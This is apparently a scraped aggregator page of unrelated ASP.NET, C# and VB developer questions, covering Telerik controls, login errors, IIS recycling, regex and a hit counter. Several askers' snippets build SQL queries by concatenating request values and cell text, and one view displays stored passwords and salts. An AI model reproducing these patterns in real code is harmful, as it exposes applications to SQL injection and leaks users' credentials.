When I open the page at the root (http://localhost/), it shows the given html. But when I open it with the full link (http://localhost/Home/Index) it's not showing up.
When put the variables in the html of the webpage, they are exactly the same.
Why isn't this working then?
I have a nav within a unordered list, simplified html is like:
<ul>
<li><a></a></li>
<li><a></a></li>
<li><a></a></li>
<li><a></a></li>
etc ...
</ul>
The nav for this module has a dynamic amount of links so how can I change the border of the first and last element with some fancy css selector? i'm terrible with css so apologies in advance :x
I need to add a custom radio button control that I created based on an if condition to my GridView. My radiobutton will be enabled or disabled based on this condition and will have the text changed as well.
I'm trying to figure out how to add a radiobutton object into my data row instead of a string dt.Columns.Add("FirstName").
<telerik:RadGrid runat="server" ID="grd1" OnNeedDataSource="grd1_NeedDataSource">
<MasterTableView AutoGenerateColumns="False">
<Columns>
<telerik:GridTemplateColumn HeaderText="Radiobutton header" UniqueName="col1">
<ItemTemplate>
<asp:RadioButton ID="rbType" runat="server" Text='<%# DataBinder.Eval(Container.DataItem, "rbEnableorDisable")%>' />
</ItemTemplate>
</telerik:GridTemplateColumn>
<telerik:GridTemplateColumn HeaderText="FirstName header" UniqueName="col2">
<ItemTemplate>
<asp:Label Text='<%# DataBinder.Eval(Container.DataItem, "Name")%>' runat="server" />
</ItemTemplate>
</telerik:GridTemplateColumn>
</Columns>
</MasterTableView>
</telerik:RadGrid>
CodeBehind
Private dt As DataTable
Private dr As DataRow
dt= New DataTable
dt.Columns.Add("rbEnableorDisable")
dt.Columns.Add("FirstName")
Dim rb As RadioButton
rb = New RadioButton
For each item in itemlist //some data iteration declared elsewhere
dr = dt.NewRow()
If (Condition)
rb.Text = "Should be Disabled"
rb.Enabled = False
Else
rb.Text = "Should be Enabled"
rb.Enabled = True
End if
dr.Item("FirstName") = item.FirstName
dr.Item("rbEnableOrDisable") = rb//?Code for inserting a radio button object
dt.Rows.Add(dr)
Next
With grd1
.DataSource = dt
.DataBind()
End With
So far with this code I am only able to display the radiobutton text if i have dr.Item("rbEnableOrDisable") = rb.Text.
I need to display the whole radiobutton object(show the text and if it's enabled or disabled among others)
I tried
LocationData.Columns.Add(New DataColumn("rbType", GetType(RadioButton)))
but it seems I need to append to the ItemTemplate
Also tried adding the whole column dynamic with:
grd1.Controls.Add(rb)
Upon clicking btnSearch, it disables it with telerik's SingleClick=true property. If validation fails it doesn't postback and I try to set the button back to being enabled but it doesn't get set. It still is disabled with the text saying "Searching...".
What I am trying to do is if it fails the validation, I want the button to be enabled again. Right now if i click on it and validation fails, it gets stuck being disabled.
javascript
function Validate(button, args) {
if (error) {
button.set_autoPostBack(true);
}
else { //validation fails
button.set_autoPostBack(false);
button.set_enabled(true); // i have currently
}
}
aspx
<telerik:RadButton ID="btnSearch" Text="Search" SingleClick="true" OnClick="btnSearch_Click" OnClientClicking="Validate" SingleClickText="Searching..." ></telerik:RadButton>
I have two Telerik radListBoxes (source and destination). Both are databound with their DataKeyField and DataTextField values set. When I transfer an item from the source to the destination box using the built in buttons, I can see the value is transferred over, but the datakey is null.
I'm new to these controls, and everything is working well, except for this.
I've been following the steps given in this website: http://www.asp.net/web-forms/overview/getting-started/getting-started-with-aspnet-45-web-forms/checkout-and-payment-with-paypal. I am already on the "Modifying Login Functionality". There seems to be a problem in the SignInManager.When I hover the pointer, it appears "The type or namespace name 'SignInManager' could not be found (are you missing a using directive or an assembly reference?)". Can you help found out why?
using System;
using System.Web;
using System.Web.UI;
using Microsoft.AspNet.Identity;
using Microsoft.AspNet.Identity.Owin;
using Owin;
using WebApplication1.Models;
namespace WebApplication1.Account
{
public partial class Login : Page
{
protected void Page_Load(object sender, EventArgs e)
{
RegisterHyperLink.NavigateUrl = "Register";
// Enable this once you have account confirmation enabled for password reset functionality
//ForgotPasswordHyperLink.NavigateUrl = "Forgot";
OpenAuthLogin.ReturnUrl = Request.QueryString["ReturnUrl"];
var returnUrl = HttpUtility.UrlEncode(Request.QueryString["ReturnUrl"]);
if (!String.IsNullOrEmpty(returnUrl))
{
RegisterHyperLink.NavigateUrl += "?ReturnUrl=" + returnUrl;
}
}
protected void LogIn(object sender, EventArgs e)
{
if (IsValid)
{
// Validate the user password
var manager = Context.GetOwinContext().GetUserManager<ApplicationUserManager>();
var signinManager = Context.GetOwinContext().GetUserManager<ApplicationSignInManager>();
// This doen't count login failures towards account lockout
// To enable password failures to trigger lockout, change to shouldLockout: true
var result = **signinManager**.PasswordSignIn(Email.Text, Password.Text, RememberMe.Checked, shouldLockout: true);
switch (result)
{
case SignInStatus.Success:
WingtipToys.Logic.ShoppingCartActions usersShoppingCart = new WingtipToys.Logic.ShoppingCartActions();
String cartId = usersShoppingCart.GetCartId();
usersShoppingCart.MigrateCart(cartId, Email.Text);
IdentityHelper.RedirectToReturnUrl(Request.QueryString["ReturnUrl"], Response);
break;
case SignInStatus.LockedOut:
Response.Redirect("/Account/Lockout");
break;
case SignInStatus.RequiresVerification:
Response.Redirect(String.Format("/Account/TwoFactorAuthenticationSignIn?ReturnUrl={0}&RememberMe={1}",
Request.QueryString["ReturnUrl"],
RememberMe.Checked),
true);
break;
case SignInStatus.Failure:
default:
FailureText.Text = "Invalid login attempt";
ErrorMessage.Visible = true;
break;
}
}
}
}
}
When I check the IdentityConfig.cs, it also shows an error. Not only one but three. The following lines are:
SignInManager base(userManager, authenticationManager) UserManager
The code is below. The lines above are located at the bottom:
using System;
using System.Security.Claims;
using System.Threading.Tasks;
using Microsoft.AspNet.Identity;
using Microsoft.AspNet.Identity.EntityFramework;
using Microsoft.AspNet.Identity.Owin;
using Microsoft.Owin;
using Microsoft.Owin.Security;
using WebApplication1.Models;
namespace WebApplication1
{
public class EmailService : IIdentityMessageService
{
public Task SendAsync(IdentityMessage message)
{
// Plug in your email service here to send an email.
return Task.FromResult(0);
}
}
public class SmsService : IIdentityMessageService
{
public Task SendAsync(IdentityMessage message)
{
// Plug in your SMS service here to send a text message.
return Task.FromResult(0);
}
}
// Configure the application user manager used in this application. UserManager is defined in ASP.NET Identity and is used by the application.
public class ApplicationUserManager : UserManager<ApplicationUser>
{
public ApplicationUserManager(IUserStore<ApplicationUser> store)
: base(store)
{
}
public static ApplicationUserManager Create(IdentityFactoryOptions<ApplicationUserManager> options, IOwinContext context)
{
var manager = new ApplicationUserManager(new UserStore<ApplicationUser>(context.Get<ApplicationDbContext>()));
// Configure validation logic for usernames
manager.UserValidator = new UserValidator<ApplicationUser>(manager)
{
AllowOnlyAlphanumericUserNames = false,
RequireUniqueEmail = true
};
// Configure validation logic for passwords
manager.PasswordValidator = new PasswordValidator
{
RequiredLength = 6,
RequireNonLetterOrDigit = true,
RequireDigit = true,
RequireLowercase = true,
RequireUppercase = true,
};
// Register two factor authentication providers. This application uses Phone and Emails as a step of receiving a code for verifying the user
// You can write your own provider and plug it in here.
manager.RegisterTwoFactorProvider("Phone Code", new PhoneNumberTokenProvider<ApplicationUser>
{
MessageFormat = "Your security code is {0}"
});
manager.RegisterTwoFactorProvider("Email Code", new EmailTokenProvider<ApplicationUser>
{
Subject = "Security Code",
BodyFormat = "Your security code is {0}"
});
// Configure user lockout defaults
manager.UserLockoutEnabledByDefault = true;
manager.DefaultAccountLockoutTimeSpan = TimeSpan.FromMinutes(5);
manager.MaxFailedAccessAttemptsBeforeLockout = 5;
manager.EmailService = new EmailService();
manager.SmsService = new SmsService();
var dataProtectionProvider = options.DataProtectionProvider;
if (dataProtectionProvider != null)
{
manager.UserTokenProvider = new DataProtectorTokenProvider<ApplicationUser>(dataProtectionProvider.Create("ASP.NET Identity"));
}
return manager;
}
}
public class ApplicationSignInManager : **SignInManager<ApplicationUser, string>**
{
public ApplicationSignInManager(ApplicationUserManager userManager, IAuthenticationManager authenticationManager) :
**base(userManager, authenticationManager)** { }
public override Task<ClaimsIdentity> CreateUserIdentityAsync(ApplicationUser user)
{
return user.GenerateUserIdentityAsync((ApplicationUserManager)**UserManager**);
}
public static ApplicationSignInManager Create(IdentityFactoryOptions<ApplicationSignInManager> options, IOwinContext context)
{
return new ApplicationSignInManager(context.GetUserManager<ApplicationUserManager>(), context.Authentication);
}
}
}
While executing the following code in ASP.NET with VB, I am getting the error "No data exists for the row/column."
Dim hdnuserid = e.CommandArgument
If e.CommandName = "additem" Then
' First, see if the product is already in the vendor_catalog table
Dim dr, dr2, username
dr = connection.returnsqlresult("SELECT * FROM vendor_users where vendor_id = '" & Request("vendor_id") & "' AND userid = '" & hdnuserid & "'")
If dr.hasrows() Then
dr.read()
Response.Write("<script type=""text/javascript"">alert(""User already assigned to this vendor."");</script>")
Else
dr2 = connection.returnsqlresult("SELECT * FROM users WHERE userid = '" & hdnuserid & "'")
Response.Write(hdnuserid)
If dr2.hasrows() Then
dr2.read()
username = dr("username")
connection.executesql("INSERT INTO vendor_users(userid, vendor_id, username) VALUES('" & hdnuserid & "','" & Request("vendor_id") & "','" & username & "')")
'ScriptManager.RegisterStartupScript(Me, GetType(Page), "itemsadded", "window.opener.__doPostBack('__Page', 'populate_usergrid');window.close();", True)
Else
Response.Write("<script type=""text/javascript"">alert(""User does not exist."");</script>")
End If
dr2.close()
End If
dr.close()
Else
End If
I have checked that the columns exist in my tables, and also checked the select * from users statement in SQL directly with a hard coded value and I see the result I expect. I'm not sure why I am getting this error. The error is being thrown on the username = dr("username") line.
Any assistance in this would be very helpful.
JV
I started seeing errors in a .Net MVC web app hosted on Appharbor whilst a background thread was running - after careful analysis - I can't work out the cause.
Firstly, the exception I noticed is a ThreadAbortException.
However, this is really just signifying that the thread is being killed. Before the thread is killed, you can see a new worker is created by IIS and Application_Start is called on the same machine. Once the new application is up and running, IIS kills the old app and new requests are handled as expected.
At the same time, IIS logs a message of:
ShutDown Message: IIS configuration change
HostingEnvironment initiated shutdown
HostingEnvironment caused shutdown
ShutDown Stack: at System.Environment.GetStackTrace(Exception e, Boolean needFileInfo)
at System.Environment.get_StackTrace()
at System.Web.Hosting.HostingEnvironment.InitiateShutdownInternal()
at System.Web.Hosting.HostingEnvironment.InitiateShutdownWithoutDemand()
at System.Web.Hosting.PipelineRuntime.StopProcessing()
In .Net Health Monitor Logging you get a:
Message: Application is shutting down. Reason: Configuration changed.
Event Detail Code: 50004
A quick google reveals the source code I suspect is the reason for the error:
if (!HostingEnvironment.StopListeningWasCalled && !HostingEnvironment.ShutdownInitiated) {
// If GL_STOP_LISTENING wasn't triggered, the reset is likely due to a configuration change.
HttpRuntime.SetShutdownReason(ApplicationShutdownReason.ConfigurationChange, "IIS configuration change");
}
source: https://github.com/Microsoft/referencesource/blob/master/System.Web/Hosting/IPipelineRuntime.cs
My first thought was to check timestamps for file changes, both in the bin folder and the main application directory - however, this error is thrown without any file changes. Given it only happens on Appharbor, I can't attach to the process and debug that way. I've also monitored memory usage, and don't see any issues there.
The source code states:
If GL_STOP_LISTENING wasn't triggered, the reset is likely due to a configuration change.
Hence, what else could be causing the error and application recycle, if the web.config / other config files aren't changing?
I am using an asp TextBox control with its TextChanged event and my goal is to capture text as a user enters it. If there are one or more characters entered, I would like a button control to be enabled without the user having to leave the TextBox control.
My source code for the TextBox on the aspx page is
<asp:TextBox ID="NewSpendingCategoryTextBox" MaxLength="12" runat="server"
AutoPostBack="True"
OnTextChanged="NewSpendingCategoryTextBox_TextChanged"
ViewStateMode="Enabled" >
</asp:TextBox>
and my source code on the code behind page is
Protected Sub NewSpendingCategoryTextBox_TextChanged(sender As Object, e As System.EventArgs) Handles NewSpendingCategoryTextBox.TextChanged
Dim strSpendingCategoryTextBox As String = Nothing
strSpendingCategoryTextBox = NewSpendingCategoryTextBox.Text
If strSpendingCategoryTextBox.Length <= 0 Then
Me.NewSpendingCategoryInsertButton.Enabled = False
Else 'strSpendingCategoryTextBox.Length > 0
Me.NewSpendingCategoryInsertButton.Enabled = True
End If 'strSpendingCategoryTextBox.Length <= 0
End Sub
Is there a simple way to achieve this goal?
I am trying to catch exception while updating a gridview. code is
public static int UpdateProduct(
int productID,
string productName,
int supplierID,
int categoryID,
string quantityPerUnit,
decimal unitPrice,
int unitsInStock,
int unitsOnOrder,
int reorderLevel,
bool discontinued)
{
int rowsAffected = 0;
using (SqlConnection connection = ConnectionManager.GetNorthwindConnection())
{
SqlCommand command = new SqlCommand("ttUpdateProduct", connection);
command.CommandType = CommandType.StoredProcedure;
command.Parameters.Add("@ProductID", SqlDbType.Int).Value = productID;
command.Parameters.Add("@ProductName", SqlDbType.NVarChar, 40).Value = productName;
command.Parameters.Add("@SupplierID", SqlDbType.Int).Value = supplierID;
command.Parameters.Add("@CategoryID", SqlDbType.Int).Value = categoryID;
command.Parameters.Add("@QuantityPerUnit", SqlDbType.NVarChar, 20).Value = quantityPerUnit;
command.Parameters.Add("@UnitPrice", SqlDbType.Money).Value = unitPrice;
command.Parameters.Add("@UnitsInStock", SqlDbType.SmallInt).Value = unitsInStock;
command.Parameters.Add("@UnitsOnOrder", SqlDbType.SmallInt).Value = unitsOnOrder;
command.Parameters.Add("@ReorderLevel", SqlDbType.SmallInt).Value = reorderLevel;
command.Parameters.Add("@Discontinued", SqlDbType.Bit).Value = discontinued;
rowsAffected = command.ExecuteNonQuery();
}
return rowsAffected;
using (SqlConnection connection = ConnectionManager.GetNorthwindConnection())
{
SqlCommand command = new SqlCommand("ttUpdateProduct", connection);
command.CommandType = CommandType.StoredProcedure;
command.Parameters.Add("@ProductID", SqlDbType.Int).Value = productID;
command.Parameters.Add("@ProductName", SqlDbType.NVarChar, 40).Value = productName;
command.Parameters.Add("@SupplierID", SqlDbType.Int).Value = supplierID;
command.Parameters.Add("@CategoryID", SqlDbType.Int).Value = categoryID;
command.Parameters.Add("@QuantityPerUnit", SqlDbType.NVarChar, 20).Value = quantityPerUnit;
command.Parameters.Add("@UnitPrice", SqlDbType.Money).Value = unitPrice;
command.Parameters.Add("@UnitsInStock", SqlDbType.SmallInt).Value = unitsInStock;
command.Parameters.Add("@UnitsOnOrder", SqlDbType.SmallInt).Value = unitsOnOrder;
command.Parameters.Add("@ReorderLevel", SqlDbType.SmallInt).Value = reorderLevel;
command.Parameters.Add("@Discontinued", SqlDbType.Bit).Value = discontinued;
rowsAffected = command.ExecuteNonQuery();
}
return rowsAffected;
and code for exception handling is
protected void ProductGridView_RowUpdated(object sender, GridViewUpdatedEventArgs e)
{
if (e.Exception != null)
{
Master.ErrorMessage = "Cannot Update Record";
e.ExceptionHandled = true;
}
else
{
Master.ResultMessage = "Record Updated Succesfully";
}
but still i am getting error :The UPDATE statement conflicted with the FOREIGN KEY constraint "FK_Products_Suppliers". The conflict occurred in database "NORTHWIND", table "dbo.Suppliers", column 'SupplierID'. The statement has been terminated. it had worked once ,but not working everytime. And i am also getting Asp.net Validation of viewstate MAC failed error.
I need to add a OnChange event to a HttpHelper DropDownList for retrieve some values and put in the background-color of a divs
view:
<div class="col-md-8">
<div class="col-xs-6 col-sm-3" id="stylesheet">Hojas de estilos</div>
<div class="col-xs-6 col-sm-3">
@Html.DropDownList("cssFiles", (IEnumerable<SelectListItem>)ViewBag.cssFiles, "Crear Nuevo", new { @class = "form-control", @id = "selCssFile", onchange = "cssFileChange()" })
<span>
<input type="text" class="form-control" id="txtFileName" name="TxtFileName" style="display:none;" placeholder="Nombre del archivo">
</span>
</div>
</div>
<div class="col-md-8">
Color base, links, botones, borde encabezado y pie
</div>
<div class="col-md-4">
<div id="colorSelector" class="colorSelector"><div style="background-color: #0000ff"></div></div>
</div>
I am trying to retrieve multiple values of and store in a list. In my Code string value is equal to this data.
<?xml version="1.0" encoding="utf-8"?>
<entry xmlns:x="http://schemas.microsoft.com/office/2008/07/excelservices/rest" xmlns:d="http://schemas.microsoft.com/ado/2007/08/dataservice" xmlns:m="http://schemas.microsoft.com/ado/2007/08/dataservices/metadata" xmlns="http://www.w3.org/2005/Atom">
<title type="text">Part_Number</title>
<id>http://test.net/excel/_vti_bin/ExcelRest.aspx/docs/abc.xlsm/Model/Ranges('Part_Number')</id>
<updated>2015-04-07T16:23:43Z</updated>
<author>
<name />
</author>
<link rel="self" href="http://test.net/excel/_vti_bin/ExcelRest.aspx/docs/abc.xlsm/Model/Ranges('Part_Number')?$format=atom" title="Part_Number" />
<category term="ExcelServices.Range" scheme="http://schemas.microsoft.com/ado/2007/08/dataservices/scheme" />
<content type="application/xml">
<x:range name="Part_Number">
<x:row>
<x:c>
<x:fv>Part Number</x:fv>
</x:c>
</x:row>
<x:row>
<x:c>
<x:fv>LBL-61641-000</x:fv>
</x:c>
</x:row>
<x:row>
<x:c>
<x:fv>HDW-61277-001</x:fv>
</x:c>
</x:row>
</x:range>
</content>
</entry>
C# Code
List<string> lirangeName = new List<string>();
string value = GetRangeValue1("abc.xlsm", lirangeName[0]); //Value contains the above xml value
XmlDocument doc = new XmlDocument();
doc.LoadXml(value);
XmlNamespaceManager nsmgr = new XmlNamespaceManager(doc.NameTable);
nsmgr.AddNamespace("x", "http://schemas.microsoft.com/office/2008/07/excelservices/rest");
string answer = doc.SelectSingleNode("//x:fv", nsmgr).InnerXml;
Here, string answer = Part Number. So, I get 1 value but I want a list of values.
Answer I want :
Part Number
LBL-61641-000
HDW-61277-001
Answer I get:.
Part Number
I have a question, we have an ASP.NET web app that can service multiple clients.
The only difference is that the app needs to convert some JSON string into a .NET object of type <T> in order to pass that object to a WCF service.
For that purpose I am using Newtonsoft.Json.Converter:
T input = JsonConvert.DeserializeObject<T>(jsonInput);
The problem is that that type <T> is unknown at design time. But after the deserialization I need to have a generic strongly-typed object so that I can pass it to WCF service. The reason for that is WCF service is different for each client, and the parameter input may have a different structure for each client.
var client = new CalcEngine.CalculatorClient();
var input = new CalcEngine.CalcInputTypes();
var result = client.Calculate(input);
Here input is of type CalcEngine.CalcInputTypes. For clientA and clientB CalcEngine.CalcInputTypes may have different structure.
What is the best way to accomplish that?
Thanks.
I am trying one of regular expression for condition like:
atleast 1 number, atleast 1 character, should be 3 to 16 digit long. No character and number should repeat more than 2 time.
I tried one regular expression here what i tried.
(^(?=.*\d)(?=.*[a-zA-Z]).{3,16}$)\1{2,}
but it did not do the trick.
example for valid and invalid post:
• advan@123 -valid
• advan@4 -valid
• advvvan@123 -invalid
• advan@11123 -invalid
• advan123 -valid
• 1231123123ab -valid
• advadvvadv12 -valid
First off, here is my SelectedIndexChanged event for my table:
protected void MaintenanceTable_SelectedIndexChanged(object sender, EventArgs e)
{
GridViewRow r = MaintenanceTable.Rows[MaintenanceTable.SelectedIndex];
int mid = Convert.ToInt32(r.Cells[2].Text);
string query = "SELECT * FROM Laptops WHERE Maintenance_ID = "+mid;
string query1 = "SELECT * FROM Workstations WHERE Maintenance_ID = "+mid;
lpDataSource.SelectCommand = query;
lpDataSource.DataBind();
wsDataSource.SelectCommand = query1;
wsDataSource.DataBind();
if (lpTable.Rows.Count > 0)
{
lpTableLabel.Visible = true;
Panel1.Visible = true;
}
else
{
lpTableLabel.Visible = false;
Panel1.Visible = false;
}
if (GridView1.Rows.Count > 0)
{
wsTableLabel.Visible = true;
Panel2.Visible = true;
}
else
{
wsTableLabel.Visible = false;
Panel2.Visible = false;
}
}
It's quite simple, when a user selects a row, it should bring up related rows from either of the two tables, either in Panel1 or Panel2. My problem is that when I select a row where only one table have content for, it works fine, reveals the table and its associated Maintenance_ID, I go to select another row where both tables have the associated Maintenance_ID and it only reveals the content for the table that was already previously revealed.
When I put a breakpoint I notice that the Rows.Count for the other table equates to 0, but when I run the program over and select a row where both tables have content, it reveals both tables as it should. And when I go to select another row with content from only one table it still reveals both tables, only it displays the table that doesn't have a related Maintenance_ID as empty.
So obviously I'm doing something wrong syntactically but I'm not sure what, open to suggestions.
This question already has an answer here:
I have a small website project in Visual Studio 2013. It's an ASP.NET MVC4 website which utilises the Razor syntax.
For this website, I want to implement a 'hit counter' if you will. It should record the amount of visits the website has and be displayed on a cshtml webpage.
What will I need (code wise) in order to achieve this? I already have a database so is it a question of simply creating another table and use that to store the number of visits?
I have no real idea on where to begin in terms of implementing this so any help would be appreciated. Thanks!
If there's any additional information that you require in order to formulate a solution then I am more than happy to provide that in a future edit.
EDIT: I've tried this following tutorial however I am looking for a solution that does not zero out the counter every time the solution gets restarted. http://www.c-sharpcorner.com/Blogs/46603/how-to-count-total-number-of-hit-in-Asp-Net-mvc.aspx
I have an asp.net site that uses razor syntax with @helpers and functions.
I have this code in my cshtml page:
@helper HtmlCaptcha(string msg) {
// a lot of code for my control
<div>...@msg...</div>
}
@{
var captchaControl = new RecaptchaControl(){
ID = "recaptcha",
PublicKey="mypkey", ... };
// === here to optimize <<<
var myHtmlCode = new StringBuilder(HtmlCaptcha(msg).ToString());
var htmlWriter = new HtmlTextWriter(new StringWriter(myHtmlCode));
// ==================== >>>
captchaControl.RenderControl(htmlWriter);
}
Is there a better way to use the output of a "helper" to render a control like this?
I want to make a hit counter for an MVC4 Project I'm working on that utilises the Razor syntax.
I've tried this following tutorial however I am looking for a solution that does not zero out the counter every time the solution gets restarted. http://www.c-sharpcorner.com/Blogs/46603/how-to-count-total-number-of-hit-in-Asp-Net-mvc.aspx
How do I save the value of hits into a database file and then retrieve it every time the solution loads?
I've implemented the above tutorial fully however I am looking for a solution that allows me to increase the counter every time the solution gets opened. (For example, it starts with 1 and the next time you open the solution, it would say 2 and so on)
I understand that you are meant to add a new table in the database etc however I'm stuck in terms of what to actually write. I've only ever used databases based on user input (ie from 'html forms', text boxes etc). I don't know how to make the whole process automated (in terms of saving/ editing/ loading the number). It's always been from user input and creating new views every time.
EDIT: I have a file in my App_Data folder of the solution named MyMainDB.mdf. Correct me if I'm wrong but I believe this refers to the database. When double clicked, it sends me to the Server Explorer and shows a file named MyMainDBEntities. Within this database, I have an existing table for a separate, irrelevant function, where I know I have to make a table. Once this table is made, what information does it require? Just an integer value named counter?
Here's an example of where I've used databases before:
@foreach (var item in Model)
{
<tr>
<td>
@Html.DisplayFor(modelItem => item.FirstName)
</td>
<td>
@Html.DisplayFor(modelItem => item.Surname)
</td>
<td>
@Html.DisplayFor(modelItem => item.Email)
</td>
<td>
@Html.DisplayFor(modelItem => item.Password)
</td>
<td>
@Html.DisplayFor(modelItem => item.PasswordSalt)
</td>
<td>
@Html.DisplayFor(modelItem => item.Age)
</td>
<td>
@Html.ActionLink("Edit", "Edit", new { email=item.Email })
@Html.ActionLink("Delete", "Delete", new { email = item.Email })
</td>
</tr>
As you can see, none of that is done automatically as the ActionLink at the bottom with the name Edit requires user input to click the button and then user input to assign a new value to the field.
|
{
"url": "http://rishitnandan.com/?page=1249",
"source_domain": "rishitnandan.com",
"snapshot_id": "crawl=CC-MAIN-2017-39",
"warc_metadata": {
"Content-Length": "61265",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:VPTQ7BTHHN54ZPQI6QTOHJMRPOTSDHY2",
"WARC-Concurrent-To": "<urn:uuid:649a5579-6a5b-496f-afc9-215d06d7b121>",
"WARC-Date": "2017-09-25T06:04:50Z",
"WARC-IP-Address": "204.93.178.176",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:J3RSX3NYH7WUM7LTHP6SWHSJMFHFZHCG",
"WARC-Record-ID": "<urn:uuid:1c3dff8a-f252-4a9f-84ec-92add347ae3f>",
"WARC-Target-URI": "http://rishitnandan.com/?page=1249",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:1861de09-20db-4e0a-b605-a63884729237>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-186-163-226.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2017-39\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for September 2017\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
}
|
{
"line_start_idx": [
0,
147,
148,
473,
474,
485,
486,
494,
495,
686,
687,
725,
726,
741,
742,
863,
864,
907,
1033,
1084,
1086,
1087,
1193,
1194,
1285,
1313,
1386,
1459,
1532,
1605,
1678,
1688,
1689,
1760,
1761,
1819,
1890,
1891,
1905,
1906,
2234,
2235,
2322,
2323,
2417,
2418,
2530,
2532,
2548,
2550,
2551,
2719,
2720,
2798,
2799,
2828,
2829,
2892,
2893,
2898,
2919,
2940,
2961,
2982,
2994,
3000,
3001,
3195,
3196,
3403,
3404,
3527,
3528,
3611,
3657,
3667,
3751,
3772,
3896,
3919,
3956,
3957,
4041,
4063,
4156,
4179,
4216,
4227,
4246,
4265,
4266,
4277,
4278,
4302,
4324,
4325,
4343,
4379,
4407,
4408,
4430,
4451,
4452,
4519,
4537,
4555,
4592,
4617,
4625,
4661,
4685,
4695,
4696,
4737,
4817,
4836,
4841,
4842,
4856,
4881,
4901,
4914,
4915,
5034,
5035,
5142,
5143,
5151,
5152,
5225,
5226,
5276,
5277,
5326,
5327,
5349,
5350,
5604,
5605,
5777,
5778,
5789,
5790,
5824,
5842,
5893,
5911,
5953,
6005,
6071,
6089,
6095,
6096,
6101,
6102,
6278,
6279,
6567,
6568,
6644,
6645,
7121,
7122,
7136,
7154,
7175,
7208,
7246,
7258,
7288,
7289,
7323,
7325,
7363,
7369,
7430,
7440,
7496,
7599,
7661,
7733,
7818,
7868,
7882,
7958,
7972,
7982,
7983,
8040,
8050,
8075,
8089,
8135,
8232,
8337,
8338,
8414,
8511,
8642,
8643,
8675,
8693,
8740,
8867,
8938,
9013,
9014,
9118,
9149,
9198,
9261,
9292,
9352,
9479,
9569,
9646,
9695,
9726,
9773,
9802,
9870,
9923,
9954,
9972,
9986,
9996,
10002,
10007,
10008,
10117,
10118,
10185,
10186,
10248,
10249,
10263,
10293,
10323,
10356,
10405,
10443,
10465,
10496,
10526,
10527,
10553,
10555,
10611,
10617,
10672,
10682,
10747,
10786,
10796,
10802,
10803,
10857,
10863,
10918,
10928,
10997,
11036,
11046,
11052,
11053,
11200,
11271,
11277,
11350,
11376,
11386,
11396,
11397,
11527,
11537,
11660,
11716,
11796,
11810,
11866,
11908,
11923,
11924,
11980,
12042,
12056,
12092,
12140,
12177,
12218,
12259,
12274,
12275,
12428,
12496,
12602,
12616,
12676,
12692,
12792,
12806,
12849,
12906,
12922,
12923,
12970,
13026,
13103,
13165,
13166,
13221,
13272,
13345,
13393,
13407,
13551,
13565,
13593,
13603,
13609,
13610,
13697,
13698,
13704,
13828,
13889,
13890,
13981,
13991,
14083,
14093,
14094,
14228,
14238,
14361,
14371,
14377,
14379,
14380,
14495,
14496,
14530,
14568,
14569,
14644,
14645,
14675,
14827,
14856,
14878,
15000,
15001,
15014,
15117,
15155,
15189,
15216,
15258,
15431,
15600,
15617,
15726,
15727,
15746,
15770,
15785,
15804,
15813,
15814,
15825,
15826,
16107,
16108,
16154,
16155,
16158,
16159,
16319,
16320,
16380,
16381,
16687,
16688,
16729,
16730,
16773,
16811,
16846,
16936,
16978,
17049,
17125,
17183,
17184,
17226,
17227,
17297,
17322,
17323,
17401,
17402,
17493,
17590,
17700,
17702,
17703,
17807,
17808,
18135,
18136,
18160,
18161,
18251,
18252,
18377,
18378,
18634,
18635,
18686,
18687,
18763,
18789,
18850,
18881,
18896,
18897,
18943,
18944,
19085,
19140,
19205,
19256,
19315,
19363,
19421,
19472,
19480,
19481,
19525,
19526,
19592,
19593,
19626,
19670,
19719,
19764,
19809,
19862,
19910,
19957,
20004,
20051,
20099,
20105,
20135,
20136,
20222,
20232,
20314,
20381,
20382,
20469,
20569,
20658,
20747,
20855,
20944,
21042,
21140,
21238,
21331,
21332,
21390,
21391,
21392,
21393,
21403,
21432,
21514,
21524,
21606,
21673,
21674,
21761,
21861,
21950,
22039,
22147,
22236,
22334,
22432,
22530,
22623,
22624,
22682,
22683,
22684,
22685,
22695,
22724,
22725,
22760,
22761,
22846,
22848,
22877,
22883,
22937,
22972,
22978,
22987,
22993,
23054,
23060,
23061,
23425,
23426,
23553,
23554,
23560,
23561,
23584,
23658,
23694,
23878,
23893,
24037,
24053,
24064,
24071,
24094,
24149,
24156,
24179,
24281,
24288,
24289,
24400,
24401,
24440,
24693,
24734,
24833,
24875,
24886,
24899,
24911,
25061,
25173,
25208,
25241,
25255,
25269,
25304,
25319,
25334,
25348,
25362,
25399,
25414,
25429,
25443,
25457,
25494,
25509,
25524,
25539,
25552,
25561,
25562,
25570,
25571,
25618,
25715,
25752,
25772,
25840,
25931,
25995,
25996,
26078,
26079,
26095,
26107,
26121,
26135,
26136,
26151,
26163,
26164,
26245,
26246,
26394,
26395,
26450,
26451,
26506,
26507,
26820,
26821,
26869,
26914,
26952,
26953,
27082,
27083,
27124,
27125,
27133,
27134,
27192,
27193,
27318,
27319,
27369,
27370,
27410,
27411,
27440,
27441,
27477,
27478,
27499,
27500,
27519,
27520,
27545,
27546,
27571,
27572,
27592,
27616,
27640,
27641,
27704,
27705,
27786,
27792,
27871,
27923,
27999,
28081,
28125,
28158,
28203,
28236,
28272,
28282,
28323,
28358,
28368,
28381,
28391,
28433,
28469,
28479,
28480,
28518,
28528,
28569,
28604,
28614,
28627,
28637,
28679,
28715,
28725,
28726,
28732,
28733,
29180,
29181,
29565,
29566,
29663,
29664,
29706,
29707,
29823,
29824,
29983,
29984,
30162,
30163,
30273,
30274,
30422,
30423,
30669,
30670,
30745,
30746,
30782,
30783,
30817,
30853,
30879,
30881,
30882,
30885,
30934,
30985,
31044,
31045,
31077,
31146,
31217,
31249,
31250,
31296,
31298,
31299,
31384,
31385,
31481,
31482,
31722,
31723,
31828,
31829,
32081,
32082,
32469,
32470,
32929,
32930,
32985,
32986,
33015,
33017,
33026,
33039,
33097,
33111,
33124,
33180,
33194,
33207,
33261,
33275,
33288,
33345,
33359,
33372,
33433,
33447,
33460,
33512,
33526,
33539,
33610,
33687,
33701,
33711,
33712
],
